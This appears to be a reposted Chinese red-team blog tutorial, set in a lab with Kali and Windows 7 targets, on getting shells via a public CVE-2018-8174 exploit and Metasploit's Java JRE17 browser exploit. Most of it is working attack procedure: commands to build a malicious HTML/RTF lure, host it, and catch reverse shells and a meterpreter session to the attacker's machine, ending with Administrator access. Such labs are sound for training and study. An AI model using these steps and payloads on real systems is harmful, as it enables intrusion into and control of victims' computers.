首页 > 基础资料 博客日记

红队/白帽必经之路(24)——实战之如何通过Metasploit 利用 已知 漏洞 CVE-2018-8174 以及基于 java 环境的漏洞利用获取 获取 shell[既然是红队,那就对自己狠一点]

2025-01-02 15:00:08基础资料围观43

Java资料网推荐红队/白帽必经之路(24)——实战之如何通过Metasploit 利用 已知 漏洞 CVE-2018-8174 以及基于 java 环境的漏洞利用获取 获取 shell[既然是红队,那就对自己狠一点]这篇文章给大家,欢迎收藏Java资料网享受知识的乐趣

欢迎各位彦祖与热巴畅游本人专栏与博客

你的三连是我最大的动力

以下图片仅代表专栏特色 [点击箭头指向的专栏名即可闪现]

专栏跑道一

➡️网络空间安全——全栈前沿技术持续深入学习 


专栏跑道二


➡️ 24 Network Security -LJS 

​ 

专栏跑道三


➡️ MYSQL REDIS Advance operation

专栏跑道四

➡️HCIP;H3C-SE;CCIP——LJS[华为、华三、思科高级网络]

专栏跑道五


➡️RHCE-LJS[Linux高端骚操作实战篇]

专栏跑道六

➡️数据结构与算法[考研+实际工作应用+C程序设计]

专栏跑道七

➡️RHCSA-LJS[Linux初级及进阶骚技能]


上节回顾

目录

欢迎各位彦祖与热巴畅游本人专栏与博客

你的三连是我最大的动力

以下图片仅代表专栏特色 [点击箭头指向的专栏名即可闪现]

专栏跑道一

➡️网络空间安全——全栈前沿技术持续深入学习 

专栏跑道二

➡️ 24 Network Security -LJS 

专栏跑道三

➡️ MYSQL REDIS Advance operation

专栏跑道四

➡️HCIP;H3C-SE;CCIP——LJS[华为、华三、思科高级网络]

专栏跑道五

➡️RHCE-LJS[Linux高端骚操作实战篇]​编辑​

专栏跑道六

➡️数据结构与算法[考研+实际工作应用+C程序设计]

专栏跑道七

➡️RHCSA-LJS[Linux初级及进阶骚技能]

上节回顾

1.利用 已知漏洞 CVE-2018-8174 获取 shell

1.2安装 CVE-2018-8174_EXP

1.3生成恶意 html 文件

将恶意 html 文件移动到网站根目录

启动 apache2 服务

新打开一个终端 CTRL+SHIFT+T,生成 MSF 监听

进入 win7靶机,打开浏览器,访问[也有可能是受害者点击恶意链接]恶意链接http://192.168.234.141/exploit.html​编辑

返回 kali 查看已经建立会话,攻击获取shell成功

2.基于 java 环境的漏洞利用获取 shell

2.1搭建 java 环境

第一步我们先安装 java 环境上传 jre 到 win7 或 xp 操作系统

2.2使用 java 模块 getshell

注意:

补充说明:

将该进程杀死

在 win7 上安装 java 环境

回到 MSF 控制台

Session 已经建立然后可以发现我们是Administrator了


1.利用 已知漏洞 CVE-2018-8174 获取 shell

1.2安装 CVE-2018-8174_EXP

git clone https://github.com/iBearcat/CVE-2018-8174_EXP.git
┌──(root㉿kali-2024)-[/home/ljs/Desktop]
└─# unzip CVE-2018-8174_EXP-master.zip
Archive:  CVE-2018-8174_EXP-master.zip
d055e4d56920f10303f9a8879c8eb47e22abb01d
   creating: CVE-2018-8174_EXP-master/
  inflating: CVE-2018-8174_EXP-master/CVE-2018-8174.py  
  inflating: CVE-2018-8174_EXP-master/README.md  

1.3生成恶意 html 文件

┌──(root㉿kali-2024)-[/home/ljs/Desktop/CVE-2018-8174_EXP-master]
└─# ls
CVE-2018-8174.py  README.md
┌──(root㉿kali-2024)-[/home/ljs/Desktop/CVE-2018-8174_EXP-master]
└─# python2 CVE-2018-8174.py -u http://192.168.234.141/exploit.html -o hack.rtf -i 192.168.234.141 -p 4444
UNICODE_URL len 138 , need to pad ...
Generated hack.rtf successfully
!!! Completed !!!

参数详解说明:
 

  • -u:URL 地址,恶意 html 文件 hack.html 的访问地址
  • -o:生成文档
  • -i:监听地址
  • -p:监听端口


将恶意 html 文件移动到网站根目录

┌──(root㉿kali-2024)-[/home/ljs/Desktop/CVE-2018-8174_EXP-master]
└─# cp exploit.html /var/www/html/
                                     

启动 apache2 服务

┌──(root㉿kali-2024)-[/home/ljs/Desktop/CVE-2018-8174_EXP-master]
└─# service apache2 start  
                               

新打开一个终端 CTRL+SHIFT+T,生成 MSF 监听

msf6 exploit(multi/handler) > back
msf6 >  use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/shell/reverse_tcp
payload => windows/shell/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.234.141
LHOST => 192.168.234.141
msf6 exploit(multi/handler) > exploit

进入 win7靶机,打开浏览器,访问[也有可能是受害者点击恶意链接]恶意链接http://192.168.234.141/exploit.html

 

返回 kali 查看已经建立会话,攻击获取shell成功

2.基于 java 环境的漏洞利用获取 shell

2.1搭建 java 环境

第一步我们先安装 java 环境上传 jre 到 win7 或 xp 操作系统

安装过程,一直点击下一步即可

2.2使用 java 模块 getshell

msf6 exploit(multi/handler) >  use exploit/multi/browser/java_jre17_driver_manager
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/browser/java_jre17_driver_manager) > show options

Module options (exploit/multi/browser/java_jre17_driver_manager):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This m
                                       ust be an address on the local machine or 0.0.0.0 to lis
                                       ten on all addresses.
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly ge
                                       nerated)
   URIPATH                   no        The URI to use for this exploit (default is random)


Payload options (java/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.79.135   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Generic (Java Payload)



View the full module info with the info, or info -d command.

注意:
  • 上图 target 是一个通用的 java payload。
  • 我们可以自己指定一个。

 

msf6 exploit(multi/browser/java_jre17_driver_manager) > show payloads 

Compatible Payloads
===================

   #   Name                                        Disclosure Date  Rank    Check  Description
   -   ----                                        ---------------  ----    -----  -----------
   0   payload/cmd/unix/bind_aws_instance_connect                   normal  No     Unix SSH Shell, Bind Instance Connect (via AWS API)
   1   payload/generic/custom                                       normal  No     Custom Payload
   2   payload/generic/shell_bind_aws_ssm                           normal  No     Command Shell, Bind SSM (via AWS API)
   3   payload/generic/shell_bind_tcp                               normal  No     Generic Command Shell, Bind TCP Inline
   4   payload/generic/shell_reverse_tcp                            normal  No     Generic Command Shell, Reverse TCP Inline
   5   payload/generic/ssh/interact                                 normal  No     Interact with Established SSH Connection
   6   payload/java/jsp_shell_bind_tcp                              normal  No     Java JSP Command Shell, Bind TCP Inline
   7   payload/java/jsp_shell_reverse_tcp                           normal  No     Java JSP Command Shell, Reverse TCP Inline
   8   payload/java/meterpreter/bind_tcp                            normal  No     Java Meterpreter, Java Bind TCP Stager
   9   payload/java/meterpreter/reverse_http                        normal  No     Java Meterpreter, Java Reverse HTTP Stager
   10  payload/java/meterpreter/reverse_https                       normal  No     Java Meterpreter, Java Reverse HTTPS Stager
   11  payload/java/meterpreter/reverse_tcp                         normal  No     Java Meterpreter, Java Reverse TCP Stager
   12  payload/java/shell/bind_tcp                                  normal  No     Command Shell, Java Bind TCP Stager
   13  payload/java/shell/reverse_tcp                               normal  No     Command Shell, Java Reverse TCP Stager
   14  payload/java/shell_reverse_tcp                               normal  No     Java Command Shell, Reverse TCP Inline
   15  payload/multi/meterpreter/reverse_http                       normal  No     Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
   16  payload/multi/meterpreter/reverse_https                      normal  No     Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)

msf6 exploit(multi/browser/java_jre17_driver_manager) > java/meterpreter/reverse_tcpInterrupt: use the 'exit' command to quit
msf6 exploit(multi/browser/java_jre17_driver_manager) > set paylod java/meterpreter/reverse_tcp
[!] Unknown datastore option: paylod. Did you mean PAYLOAD?
paylod => java/meterpreter/reverse_tcp
msf6 exploit(multi/browser/java_jre17_driver_manager) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
msf6 exploit(multi/browser/java_jre17_driver_manager) > set LHOST 192.168.1.53
LHOST => 192.168.1.53
msf6 exploit(multi/browser/java_jre17_driver_manager) >  jobs -K
Stopping all jobs...
msf6 exploit(multi/browser/java_jre17_driver_manager) > run

 

补充说明:
  • 如果出现如下这个错误提示,说明 4444 端口被占用
┌──(root㉿kali-2024)-[/home/ljs/Desktop]
└─#  lsof -i:4444 
COMMAND    PID USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
ruby    179670 root    8u  IPv4 425867      0t0  TCP *:4444 (LISTEN)

 

将该进程杀死
┌──(root㉿kali-2024)-[/home/ljs/Desktop]
└─#  kill -9  179670

在 win7 上安装 java 环境

  • 提示我们 java 版本需要更新我们点击 later 先不更新

  • 然后突然发现运行了一个 java 程序,但是用户关闭了 java 程序也不影响我们 session 的正常访问。


回到 MSF 控制台

Session 已经建立然后可以发现我们是Administrator了

msf6 exploit(multi/browser/java_jre17_driver_manager) > sessions -i 6
meterpreter > getuid
Server username: Administrator



文章来源:https://blog.csdn.net/weixin_74796680/article/details/144520469
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:jacktools123@163.com进行投诉反馈,一经查实,立即删除!

标签:

相关文章

本站推荐

标签云